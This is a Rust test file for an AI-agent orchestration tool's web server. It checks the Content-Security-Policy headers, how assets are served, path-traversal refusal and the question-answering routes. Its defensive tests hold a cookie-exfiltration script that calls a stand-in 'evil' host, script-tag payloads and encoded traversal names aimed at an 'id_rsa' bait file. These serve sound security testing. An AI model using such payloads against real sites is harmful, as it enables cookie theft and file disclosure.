8874        bytes: Vec<u8>,
8875    }
8876
8877    impl Res {
8878        fn json(&self) -> Value {
8879            serde_json::from_str(&self.body)
8880                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
8881        }
8882
8883        /// One header's value verbatim, or `None` when it was not sent.
8884        fn header(&self, name: &str) -> Option<&str> {
8885            self.head.lines().find_map(|line| {
8886                let (key, value) = line.split_once(':')?;
8887                key.trim()
8888                    .eq_ignore_ascii_case(name)
8889                    .then(|| value.trim_start().trim_end_matches('\r'))
8890            })
8891        }
8892    }
8893
8894    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
8895    /// be read to end-of-stream without parsing framing.
8896    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
8897        request_with(addr, method, path, body, &[]).await
8898    }
8899
8900    /// As [`request`], with extra request headers - conditional GETs need
8901    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
8902    /// worse than one that sets none.
8903    async fn request_with(
8904        addr: SocketAddr,
8905        method: &str,
8906        path: &str,
8907        body: Option<&str>,
8908        extra: &[(&str, &str)],
8909    ) -> Res {
8910        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8911        for (name, value) in extra {
8912            head.push_str(&format!("{name}: {value}\r\n"));
8913        }
8914        if let Some(body) = body {
8915            head.push_str("Content-Type: application/json\r\n");
8916            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
8917        }
8918        head.push_str("\r\n");
8919        if let Some(body) = body {
8920            head.push_str(body);
8921        }
8922        let mut socket = tokio::net::TcpStream::connect(addr)
8923            .await
8924            .expect("connect to the test server");
8925        socket
8926            .write_all(head.as_bytes())
8927            .await
8928            .expect("write request");
8929        let mut raw = Vec::new();
8930        socket.read_to_end(&mut raw).await.expect("read response");
8931        // Split on the raw bytes rather than on a lossy string, so a binary
8932        // body survives to be compared byte for byte.
8933        let split = raw
8934            .windows(4)
8935            .position(|w| w == b"\r\n\r\n")
8936            .expect("a header block");
8937        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8938        let bytes = raw[split + 4..].to_vec();
8939        let status = head
8940            .lines()
8941            .next()
8942            .and_then(|line| line.split_whitespace().nth(1))
8943            .and_then(|code| code.parse().ok())
8944            .expect("a status line");
8945        Res {
8946            status,
8947            headers: head.to_lowercase(),
8948            head,
8949            body: String::from_utf8_lossy(&bytes).into_owned(),
8950            bytes,
8951        }
8952    }
8953
8954    /// A `POST` carrying a raw binary body and its own headers, for the
8955    /// attachment upload route - `request_with` only ever sends
8956    /// `Content-Type: application/json`, which is wrong for an image and
8957    /// would corrupt anything not valid UTF-8 by round-tripping it through
8958    /// `&str` first.
8959    async fn request_bytes(
8960        addr: SocketAddr,
8961        path: &str,
8962        headers: &[(&str, &str)],
8963        body: &[u8],
8964    ) -> Res {
8965        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8966        for (name, value) in headers {
8967            head.push_str(&format!("{name}: {value}\r\n"));
8968        }
8969        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
8970        let mut socket = tokio::net::TcpStream::connect(addr)
8971            .await
8972            .expect("connect to the test server");
8973        socket
8974            .write_all(head.as_bytes())
8975            .await
8976            .expect("write request head");
8977        socket.write_all(body).await.expect("write request body");
8978        let mut raw = Vec::new();
8979        socket.read_to_end(&mut raw).await.expect("read response");
8980        let split = raw
8981            .windows(4)
8982            .position(|w| w == b"\r\n\r\n")
8983            .expect("a header block");
8984        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8985        let bytes = raw[split + 4..].to_vec();
8986        let status = head
8987            .lines()
8988            .next()
8989            .and_then(|line| line.split_whitespace().nth(1))
8990            .and_then(|code| code.parse().ok())
8991            .expect("a status line");
8992        Res {
8993            status,
8994            headers: head.to_lowercase(),
8995            head,
8996            body: String::from_utf8_lossy(&bytes).into_owned(),
8997            bytes,
8998        }
8999    }
9000
9001    /// A run on disk, without touching the process-global magi home.
9002    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
9003        let mut state = RunState::new(
9004            PathBuf::from("/repo/magi"),
9005            "main".to_owned(),
9006            "0123456789abcdef".to_owned(),
9007            "Add a web UI\n\nMobile first.".to_owned(),
9008            Config::default(),
9009        );
9010        state.id = id.to_owned();
9011        state.status = status;
9012        let dir = runs.join(id);
9013        std::fs::create_dir_all(&dir).expect("run dir");
9014        std::fs::write(
9015            dir.join("run.json"),
9016            serde_json::to_string_pretty(&state).expect("serialize run"),
9017        )
9018        .expect("write run.json");
9019    }
9020
9021    /// Same as [`write_run`], but against a named repository rather than the
9022    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
9023    /// spread across more than one.
9024    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
9025        let mut state = RunState::new(
9026            PathBuf::from(repo),
9027            "main".to_owned(),
9028            "0123456789abcdef".to_owned(),
9029            "task".to_owned(),
9030            Config::default(),
9031        );
9032        state.id = id.to_owned();
9033        state.status = status;
9034        let dir = runs.join(id);
9035        std::fs::create_dir_all(&dir).expect("run dir");
9036        std::fs::write(
9037            dir.join("run.json"),
9038            serde_json::to_string_pretty(&state).expect("serialize run"),
9039        )
9040        .expect("write run.json");
9041    }
9042
9043    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
9044        let body = serde_json::json!({
9045            "schema": 1,
9046            "pid": 4242,
9047            "started_at": Timestamp::now().to_string(),
9048            "updated_at": updated_at.to_string(),
9049            "idle": false,
9050            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
9051            "completed": 7,
9052            "polls": 143,
9053        });
9054        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
9055    }
9056
9057    /// A loop that starts, finds nothing to do, and waits to be told to stop.
9058    ///
9059    /// No test in this file may start the real loop - see [`Ui::launch`] for
9060    /// why - so this stands in for the only thing the routes need a loop to
9061    /// do: keep running until `Stop` is set, then return. A real
9062    /// `serve_until` here would resolve its queue and its status file through
9063    /// the process-global magi home, claim whatever it found in the
9064    /// operator's live backlog, overwrite the status file of the `magi serve`
9065    /// that owns it, and spend real agent quota on a real competition.
9066    fn launch_idle(
9067        _opts: daemon::Opts,
9068        stop: daemon::Stop,
9069    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9070        Box::pin(async move {
9071            while !stop.stopped() {
9072                tokio::time::sleep(Duration::from_millis(2)).await;
9073            }
9074            Ok(())
9075        })
9076    }
9077
9078    /// A loop that fails on the way up, the way one whose home has gone
9079    /// read-only does.
9080    fn launch_broken(
9081        _opts: daemon::Opts,
9082        _stop: daemon::Stop,
9083    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9084        // The stand-in dies instantly, so a restarted one can record its own
9085        // failure before the start's response is read. The second attempt
9086        // therefore fails with a different message, to tell a stale error
9087        // from a fresh one.
9088        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
9089        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
9090        Box::pin(async move {
9091            Err(anyhow::anyhow!(if first {
9092                "publish the daemon status file: read-only file system"
9093            } else {
9094                "the restarted stand-in failed as well"
9095            }))
9096        })
9097    }
9098
9099    /// The address the parking loop knocks on, and what it heard there.
9100    ///
9101    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
9102    /// capture a fixture's address; this is how it is handed one. Only
9103    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
9104    /// these, so nothing else in this binary can race them.
9105    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
9106    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
9107
9108    /// A loop that, once it is asked to stop, checks the deck still answers
9109    /// before it goes.
9110    ///
9111    /// It stands in for a run mid-node: `finish_loop` waits for this future,
9112    /// so the request it makes is strictly inside the park window - no sleep
9113    /// and no polling needed to be sure of that.
9114    fn launch_knocking_on_the_way_out(
9115        _opts: daemon::Opts,
9116        stop: daemon::Stop,
9117    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9118        Box::pin(async move {
9119            while !stop.stopped() {
9120                tokio::time::sleep(Duration::from_millis(2)).await;
9121            }
9122            let addr = PARK_KNOCK
9123                .lock()
9124                .expect("park knock")
9125                .expect("the test set an address");
9126            let heard = request(addr, "GET", "/api/health", None).await.status;
9127            *PARK_HEARD.lock().expect("park heard") = Some(heard);
9128            Ok(())
9129        })
9130    }
9131
9132    /// The loop view once `want` accepts it.
9133    ///
9134    /// Polled rather than asserted straight after the POST because stopping
9135    /// is deliberately not instant - that is the contract - and rather than
9136    /// slept through because a fixed wait is either flaky or slow.
9137    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
9138    /// finite, so a genuine hang fails the test instead of hanging the
9139    /// suite.
9140    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
9141        for _ in 0..SETTLE_STEPS {
9142            let view = fx.get("/api/loop").await.json();
9143            if want(&view) {
9144                return view;
9145            }
9146            tokio::time::sleep(Duration::from_millis(10)).await;
9147        }
9148        panic!(
9149            "the loop never settled: {}",
9150            fx.get("/api/loop").await.json()
9151        );
9152    }
9153
9154    /// File an open question directly in the store the server reads.
9155    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
9156        let store = fx.questions();
9157        let mut q = Question::new(
9158            "20260902-000000-beef".to_owned(),
9159            "implement".to_owned(),
9160            "impl-A".to_owned(),
9161            summary.to_owned(),
9162            "because it matters".to_owned(),
9163            choices.iter().map(|c| (*c).to_owned()).collect(),
9164        );
9165        store.put(&mut q).expect("put question");
9166        q.id
9167    }
9168
9169    /// A question with a panel the server can serve, plus the named assets.
9170    ///
9171    /// Written through `Questions::put_panel` rather than by laying out the
9172    /// directory here, so these tests exercise the same on-disk shape the
9173    /// agents produce and cannot pass against a layout only the tests know.
9174    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
9175        let store = fx.questions();
9176        let mut q = Question::new(
9177            "20260902-000000-beef".to_owned(),
9178            "land".to_owned(),
9179            "fix".to_owned(),
9180            "Merge this?".to_owned(),
9181            "the diff is in the panel".to_owned(),
9182            vec!["merge".to_owned(), "hold".to_owned()],
9183        );
9184        // Staged outside the questions root, because `put_panel` copies from
9185        // wherever the agent left its files.
9186        let staging = fx.home.path().join("staging");
9187        std::fs::create_dir_all(&staging).expect("staging dir");
9188        let sources: Vec<PathBuf> = assets
9189            .iter()
9190            .map(|(name, bytes)| {
9191                let path = staging.join(name);
9192                std::fs::write(&path, bytes).expect("write staged asset");
9193                path
9194            })
9195            .collect();
9196        store
9197            .put_panel(&mut q, html, &sources)
9198            .expect("write the panel");
9199        store.put(&mut q).expect("put question");
9200        q.id
9201    }
9202
9203    /// A talk on disk, without talking to a model.
9204    ///
9205    /// Written as JSON straight into the store the server reads, because the
9206    /// only constructor `talk::begin` offers takes no turn but still requires
9207    /// a real caller-visible flow. The one thing this cannot make up is the
9208    /// seat, so it is built with the real `SeatState::new` and serialized -
9209    /// the alternative, hand-writing that object, would make these tests fail
9210    /// the day the seat gains a field.
9211    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
9212        seed_talk_at(&fx.talks(), id, status)
9213    }
9214
9215    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
9216        std::fs::create_dir_all(store.root()).expect("talks dir");
9217        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
9218            .expect("serialize a seat");
9219        let body = serde_json::json!({
9220            "schema": 1,
9221            "id": id,
9222            "repo": "/repo/magi",
9223            "agent": "mock",
9224            "status": status,
9225            "turns": [],
9226            "created_at": Timestamp::now().to_string(),
9227            "updated_at": Timestamp::now().to_string(),
9228            "seat": seat,
9229        });
9230        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
9231        store.get(id).expect("the seeded talk has to be readable");
9232        id.to_owned()
9233    }
9234
9235    #[tokio::test]
9236    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
9237        let fx = Fixture::start().await;
9238        let id = panel(
9239            &fx,
9240            "<h1>Merge?</h1><img src=\"diff.svg\">",
9241            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
9242        );
9243
9244        for path in [
9245            format!("/api/questions/{id}/panel"),
9246            format!("/api/questions/{id}/asset/diff.svg"),
9247        ] {
9248            let res = fx.get(&path).await;
9249            assert_eq!(res.status, 200, "{path}: {}", res.body);
9250            // The whole string, not a substring. A weakened directive - an
9251            // `img-src *` that lets a panel beacon out to a remote host, a
9252            // `script-src` anything, a missing `form-action` that lets it post
9253            // the owner's decision to a third party - has to fail here, and a
9254            // `contains` assertion would let every one of those through.
9255            assert_eq!(
9256                res.header("content-security-policy"),
9257                Some(
9258                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
9259                     font-src data:; base-uri 'none'; form-action 'none'; \
9260                     frame-ancestors 'self'"
9261                ),
9262                "{path} is the only thing between a hostile panel and the tailnet"
9263            );
9264            assert_eq!(
9265                res.header("x-content-type-options"),
9266                Some("nosniff"),
9267                "{path}: a browser must not re-decide the type we sent"
9268            );
9269            assert_eq!(
9270                res.header("referrer-policy"),
9271                Some("no-referrer"),
9272                "{path}: a panel must not leak the question id off the machine"
9273            );
9274
9275            // The front end mounts the frame only after a `HEAD` says the
9276            // panel is there, so `HEAD` has to answer with the same status and
9277            // the same policy as `GET` - a preflight that came back without
9278            // the CSP would mean a frame mounted on an unverified promise.
9279            let pre = fx.head(&path).await;
9280            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
9281            assert_eq!(
9282                pre.header("content-security-policy"),
9283                res.header("content-security-policy"),
9284                "{path}: the preflight carries the same policy"
9285            );
9286            assert_eq!(
9287                pre.header("content-type"),
9288                res.header("content-type"),
9289                "{path}: the preflight carries the same type"
9290            );
9291        }
9292    }
9293
9294    #[tokio::test]
9295    async fn a_panel_reaches_the_browser_byte_for_byte() {
9296        let fx = Fixture::start().await;
9297        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
9298        // tag, an entity, and a multi-byte character. The sandbox is what makes
9299        // this safe, so nothing here may be rewritten on the way out - a
9300        // rewritten diff is a diff the owner cannot trust.
9301        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
9302        let id = panel(&fx, html, &[]);
9303
9304        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
9305
9306        assert_eq!(res.status, 200);
9307        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
9308        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
9309        assert_eq!(
9310            res.header("content-disposition"),
9311            None,
9312            "the panel itself is rendered in the frame, not downloaded"
9313        );
9314    }
9315
9316    #[tokio::test]
9317    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
9318        let fx = Fixture::start().await;
9319        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
9320        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
9321        let id = panel(
9322            &fx,
9323            "<img src=\"diff.svg\"><img src=\"shot.png\">",
9324            &[("diff.svg", svg), ("shot.png", png)],
9325        );
9326
9327        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
9328        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
9329
9330        assert_eq!(as_svg.status, 200);
9331        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
9332        // An SVG is XML that may carry script. Inside the panel it is an
9333        // `<img src>` and the script cannot run; opened at the top level it
9334        // would be a document on magi's own origin, so the browser is told to
9335        // download it instead of rendering it.
9336        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
9337
9338        assert_eq!(as_png.status, 200);
9339        assert_eq!(as_png.header("content-type"), Some("image/png"));
9340        assert_eq!(
9341            as_png.header("content-disposition"),
9342            None,
9343            "a raster image has no execution surface, so tapping it still shows it"
9344        );
9345        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
9346    }
9347
9348    #[tokio::test]
9349    async fn an_html_asset_is_never_served_as_html() {
9350        let fx = Fixture::start().await;
9351        let id = panel(
9352            &fx,
9353            "<p>see the notes</p>",
9354            &[
9355                (
9356                    "notes.html",
9357                    b"<script>fetch('http://evil/'+document.cookie)</script>",
9358                ),
9359                ("hook.js", b"fetch('http://evil/')"),
9360                ("data.json", b"{}"),
9361                ("HEADLINE.TXT", b"plain"),
9362            ],
9363        );
9364
9365        for name in ["notes.html", "hook.js", "data.json"] {
9366            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
9367            assert_eq!(res.status, 200, "{name}: {}", res.body);
9368            // Serving this as text/html would be a way to reach agent markup
9369            // at the top level of the operator's browser, outside the frame's
9370            // sandbox and outside its CSP - which is the whole thing the panel
9371            // design exists to prevent. Unlisted types are downloads.
9372            assert_eq!(
9373                res.header("content-type"),
9374                Some("application/octet-stream"),
9375                "{name} must not be a type the browser will execute or render"
9376            );
9377        }
9378        // The whitelist is matched case-insensitively, so an agent shouting the
9379        // extension still gets a readable file rather than a download.
9380        let txt = fx
9381            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
9382            .await;
9383        assert_eq!(
9384            txt.header("content-type"),
9385            Some("text/plain; charset=utf-8")
9386        );
9387    }
9388
9389    #[tokio::test]
9390    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
9391        let fx = Fixture::start().await;
9392        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9393        // Something outside the panel directory that a traversal would reach if
9394        // one got through, so a passing test is not merely "the file was
9395        // missing anyway".
9396        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
9397
9398        // Decoded before this server's handler sees them: axum percent-decodes
9399        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
9400        // string with a NUL in it. All three look like ordinary single-segment
9401        // filenames to the router, so the router passes them through and
9402        // `valid_asset_name` is what refuses them - for the literal `..`, and
9403        // for `/`, `\` and NUL not being in the permitted character set.
9404        for encoded in [
9405            "%2e%2e%2fid_rsa",
9406            "..%2fid_rsa",
9407            "..%5cid_rsa",
9408            "%2e%2e%5cid_rsa",
9409            "diff%00.svg",
9410            "..",
9411            ".hidden",
9412            "%2e%2e%2f%2e%2e%2fid_rsa",
9413        ] {
9414            let res = fx
9415                .get(&format!("/api/questions/{id}/asset/{encoded}"))
9416                .await;
9417            assert_eq!(
9418                res.status, 400,
9419                "`{encoded}` has to be refused by name, not looked up: {}",
9420                res.body
9421            );
9422            assert!(res.json()["error"].is_string(), "{}", res.body);
9423        }
9424
9425        // Not decoded, and never this handler's problem: a real slash makes the
9426        // request one segment too long for `/api/questions/{id}/asset/{name}`,
9427        // so axum's router has no route to match and answers before any code
9428        // here runs. Asserted so that a future route with a wildcard segment
9429        // cannot quietly open this door.
9430        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
9431            let res = fx
9432                .get(&format!("/api/questions/{id}/asset/{literal}"))
9433                .await;
9434            assert_eq!(
9435                res.status, 404,
9436                "`{literal}` must not match the asset route at all: {}",
9437                res.body
9438            );
9439        }
9440    }
9441
9442    #[tokio::test]
9443    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
9444        let fx = Fixture::start().await;
9445        let plain = ask(&fx, "Which backend?", &["SQLite"]);
9446        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9447
9448        // A question nobody wrote a panel for. The client preflights with HEAD
9449        // and cannot see inside a sandboxed frame, so this must be a status and
9450        // not an empty page.
9451        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
9452        assert_eq!(none.status, 404, "{}", none.body);
9453        assert!(none.json()["error"].is_string(), "{}", none.body);
9454        assert_eq!(
9455            fx.head(&format!("/api/questions/{plain}/panel"))
9456                .await
9457                .status,
9458            404,
9459            "the preflight is the only way the client can learn this"
9460        );
9461
9462        // A name that is perfectly legal and simply is not there.
9463        let missing = fx
9464            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
9465            .await;
9466        assert_eq!(missing.status, 404, "{}", missing.body);
9467        assert!(missing.json()["error"].is_string(), "{}", missing.body);
9468
9469        // A question that does not exist at all, on both routes.
9470        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
9471        assert_eq!(
9472            fx.get("/api/questions/nope/asset/diff.svg").await.status,
9473            404
9474        );
9475    }
9476
9477    #[tokio::test]
9478    async fn a_run_with_an_open_question_reads_as_waiting() {
9479        let fx = Fixture::start().await;
9480        let run = "20260902-000000-beef".to_owned();
9481        write_run(&fx.runs(), &run, RunStatus::Implementing);
9482
9483        let before = fx.get("/api/runs").await.json();
9484        assert_eq!(before[0]["waiting"], false, "{before}");
9485
9486        let store = fx.questions();
9487        let mut q = Question::new(
9488            run.clone(),
9489            "implement".to_owned(),
9490            "impl-A".to_owned(),
9491            "Which backend?".to_owned(),
9492            String::new(),
9493            vec!["SQLite".to_owned()],
9494        );
9495        store.put(&mut q).expect("put");
9496
9497        let during = fx.get("/api/runs").await.json();
9498        assert_eq!(during[0]["waiting"], true, "{during}");
9499
9500        // Answered: the run is moving again, and the flag has to follow without
9501        // anything having rewritten run.json.
9502        q.answer(Answer::Choice("SQLite".to_owned()))
9503            .expect("answer");
9504        store.put(&mut q).expect("put");
9505        let after = fx.get("/api/runs").await.json();
9506        assert_eq!(after[0]["waiting"], false, "{after}");
9507    }
9508
9509    #[tokio::test]
9510    async fn an_open_question_is_listed_and_counted_by_health() {
9511        let fx = Fixture::start().await;
9512        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9513
9514        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9515        let listed = fx.get("/api/questions").await.json();
9516        assert_eq!(listed.as_array().expect("array").len(), 1);
9517        assert_eq!(listed[0]["id"], id);
9518        assert_eq!(listed[0]["status"], "open");
9519        assert_eq!(listed[0]["choices"][1], "Redis");
9520        // The count is what makes the phone's indicator honest: it is the one
9521        // number meaning nothing will move until a human acts.
9522        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9523    }
9524
9525    #[tokio::test]
9526    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
9527        let fx = Fixture::start().await;
9528        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9529        let path = format!("/api/questions/{id}/answer");
9530
9531        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
9532        assert_eq!(res.status, 200, "{}", res.body);
9533        let body = res.json();
9534        assert_eq!(body["status"], "answered");
9535        assert_eq!(body["answer"]["choice"], "Redis");
9536
9537        // Answered from the terminal in between the list and the tap: the UI
9538        // must be able to tell this from a bad request, so it can show the
9539        // recorded answer instead of an error.
9540        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
9541        assert_eq!(again.status, 409, "{}", again.body);
9542        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9543    }
9544
9545    #[tokio::test]
9546    async fn saying_something_appends_a_turn_without_answering() {
9547        let fx = Fixture::start().await;
9548        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9549        let path = format!("/api/questions/{id}/say");
9550
9551        let res = fx
9552            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
9553            .await;
9554        assert_eq!(res.status, 200, "{}", res.body);
9555        let body = res.json();
9556        assert_eq!(body["status"], "open", "talking back is not a decision");
9557        assert_eq!(body["answer"], Value::Null);
9558        assert_eq!(body["thread"][0]["who"], "operator");
9559        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
9560        assert_eq!(body["waiting_on_agent"], true);
9561        // Still open, still counted, still exactly one question.
9562        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9563    }
9564
9565    #[tokio::test]
9566    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
9567        let fx = Fixture::start().await;
9568        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9569
9570        let list = fx.get("/api/questions").await.json();
9571        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
9572
9573        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
9574        assert_eq!(res.status, 409, "{}", res.body);
9575        let q = fx.questions().get(&id).unwrap();
9576        assert!(q.status.open());
9577        assert!(q.consult.is_none());
9578    }
9579
9580    #[tokio::test]
9581    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
9582        let fx = Fixture::start().await;
9583        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9584        let cfg = Config {
9585            agents: vec![crate::config::AgentSpec {
9586                id: "mock".to_owned(),
9587                kind: crate::config::AgentKind::Command,
9588                model: None,
9589                command: vec!["true".to_owned()],
9590                extra_args: Vec::new(),
9591                env: Default::default(),
9592                prompt_delivery: None,
9593            }],
9594            ..Config::default()
9595        };
9596        let talk = crate::talk::begin(
9597            &fx.talks(),
9598            &cfg,
9599            fx.home.path().to_path_buf(),
9600            Some("mock"),
9601        )
9602        .unwrap();
9603        let mut task = Task::new(
9604            "t".to_owned(),
9605            "Do it".to_owned(),
9606            PathBuf::from("/repo/magi"),
9607            Source::Agent {
9608                run: talk.id.clone(),
9609                node: crate::queue::CHAT_NODE.to_owned(),
9610            },
9611        );
9612        task.start("20260902-000000-beef".to_owned());
9613        fx.queue().put(&mut task).unwrap();
9614
9615        let list = fx.get("/api/questions").await.json();
9616        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9617        assert_eq!(
9618            list[0]["choices"],
9619            serde_json::json!(["SQLite", "Redis"]),
9620            "the hand-over is never a choice"
9621        );
9622        fx.questions()
9623            .update(&id, |q| {
9624                q.node = crate::land::APPROVAL_NODE.into();
9625                q.choices = vec!["merge".into(), "hold".into()];
9626                Ok(())
9627            })
9628            .unwrap();
9629        let list = fx.get("/api/questions").await.json();
9630        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9631        let _ = id;
9632    }
9633
9634    #[tokio::test]
9635    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
9636        let fx = Fixture::start().await;
9637        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9638        fx.questions()
9639            .update(&id, |q| {
9640                q.node = crate::land::APPROVAL_NODE.into();
9641                q.choices = vec!["merge".into(), "hold".into()];
9642                Ok(())
9643            })
9644            .unwrap();
9645        let cfg = Config {
9646            agents: vec![crate::config::AgentSpec {
9647                id: "mock".to_owned(),
9648                kind: crate::config::AgentKind::Command,
9649                model: None,
9650                command: vec!["true".to_owned()],
9651                extra_args: Vec::new(),
9652                env: Default::default(),
9653                prompt_delivery: None,
9654            }],
9655            ..Config::default()
9656        };
9657        // Not a git working tree, so its `magi.toml` is read from disk.
9658        let repo = fx.home.path().join("chat-repo");
9659        std::fs::create_dir_all(&repo).unwrap();
9660        let toml = repo.join("magi.toml");
9661        std::fs::write(&toml, "this is = = not toml").unwrap();
9662        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
9663        let mut task = Task::new(
9664            "t".to_owned(),
9665            "Do it".to_owned(),
9666            PathBuf::from("/repo/magi"),
9667            Source::Agent {
9668                run: talk.id.clone(),
9669                node: crate::queue::CHAT_NODE.to_owned(),
9670            },
9671        );
9672        task.start("20260902-000000-beef".to_owned());
9673        fx.queue().put(&mut task).unwrap();
9674
9675        let path = format!("/api/questions/{id}/consult");
9676        let res = fx.post(&path, None).await;
9677        assert!(res.status >= 400, "{}", res.body);
9678        assert!(fx.questions().get(&id).unwrap().consult.is_none());
9679        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
9680
9681        std::fs::write(&toml, "").unwrap();
9682        let res = fx.post(&path, None).await;
9683        assert_eq!(res.status, 202, "{}", res.body);
9684        assert!(fx.questions().get(&id).unwrap().consult.is_some());
9685        let q = fx.questions().get(&id).unwrap();
9686        assert!(q.status.open());
9687        assert!(q.answer.is_none());
9688        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
9689    }
9690
9691    #[tokio::test]
9692    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
9693        let fx = Fixture::start().await;
9694        let store = fx.questions();
9695        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9696        assert_eq!(
9697            fx.get("/api/health").await.json()["questions_needs_owner"],
9698            1
9699        );
9700
9701        // The owner asks back instead of deciding: the ask bar, the nav badge
9702        // and the title must stop naming this question, because there is
9703        // nothing to decide until the agent answers - `status` alone cannot
9704        // say that, which is the whole reason `questions_needs_owner` exists
9705        // alongside `questions_open`.
9706        let res = fx
9707            .post(
9708                &format!("/api/questions/{id}/say"),
9709                Some(r#"{"body":"why not Postgres?"}"#),
9710            )
9711            .await;
9712        assert_eq!(res.status, 200, "{}", res.body);
9713        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9714        assert_eq!(
9715            fx.get("/api/health").await.json()["questions_needs_owner"],
9716            0,
9717            "waiting on the agent is not waiting on the owner"
9718        );
9719
9720        // `magi ask --thread` replying is what brings the owner count back -
9721        // the same event that would resume the CLI call blocked in `magi
9722        // ask`.
9723        let mut q = store.get(&id).expect("get");
9724        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
9725            .expect("reply");
9726        store.put(&mut q).expect("put");
9727        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9728        assert_eq!(
9729            fx.get("/api/health").await.json()["questions_needs_owner"],
9730            1,
9731            "the agent's reply is what should light the banner back up"
9732        );
9733    }
9734
9735    #[tokio::test]
